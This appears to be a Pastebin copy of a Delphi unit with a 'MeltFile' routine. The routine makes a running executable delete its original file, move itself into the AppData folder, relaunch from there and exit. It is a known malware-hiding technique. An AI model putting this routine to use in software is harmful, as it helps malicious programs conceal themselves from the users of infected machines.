Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //******************************************************************************
- //* UNIT: UNT_MeltFile
- //* AUTOR: Fakedo0r
- //* CORREO: [email protected]
- //* BLOG: Sub-Soul.blogspot.com
- //* FECHA: 12.04.2012
- //* USO: MeltFile('prueba.exe');
- //******************************************************************************
- Unit UNT_MeltFile;
- //******************************************************************************
- //DECLARACION LIBRERIAS / CLASES
- //******************************************************************************
- Interface
- Uses
- Sysutils, Messages, Windows, ShlObj, ShellAPI;
- //******************************************************************************
- //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
- //******************************************************************************
- Function MeltFile(sFileName: String): Bool;
- Function GetSpecialFolderA(iCSIDL: Integer):String;
- //******************************************************************************
- Implementation
- //******************************************************************************
- //<--- OBTIENE LAS RUTAS ESPECIALES --->
- //******************************************************************************
- Function GetSpecialFolderA(iCSIDL: Integer): string;
- Var
- pszPath: PChar;
- iRet: Integer;
- tIDL: PItemIDList;
- Begin
- GetMem(pszPath, MAX_PATH);
- iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);
- If iRet = NOERROR Then
- Begin
- SHGetPathFromIDList(tIDL, pszPath);
- GetSpecialFolderA := String(pszPath);
- End;
- FreeMem(pszPath);
- End;
- //******************************************************************************
- //<--- MELTFILE --->
- //******************************************************************************
- Function MeltFile(sFileName: String): Bool;
- Var
- sOldPath: String;
- sDestPath: String;
- Begin
- Result := True;
- sOldPath := ParamStr(0);
- If sFileName = '' Then
- Begin
- Result := False;
- Exit;
- End;
- sDestPath := GetSpecialFolderA(CSIDL_APPDATA) + '\' + sFileName;
- If sOldPath <> sDestPath Then
- Begin
- DeleteFile(PChar(sOldPath));
- MoveFileEx(PChar(sOldPath), PChar(sDestPath), MOVEFILE_REPLACE_EXISTING);
- ShellExecute(0 , Nil, PChar(sDestPath), '', '', SW_SHOW);
- ExitProcess(0);
- End;
- End;
- End.
Advertisement
Add Comment
Please, Sign In to add comment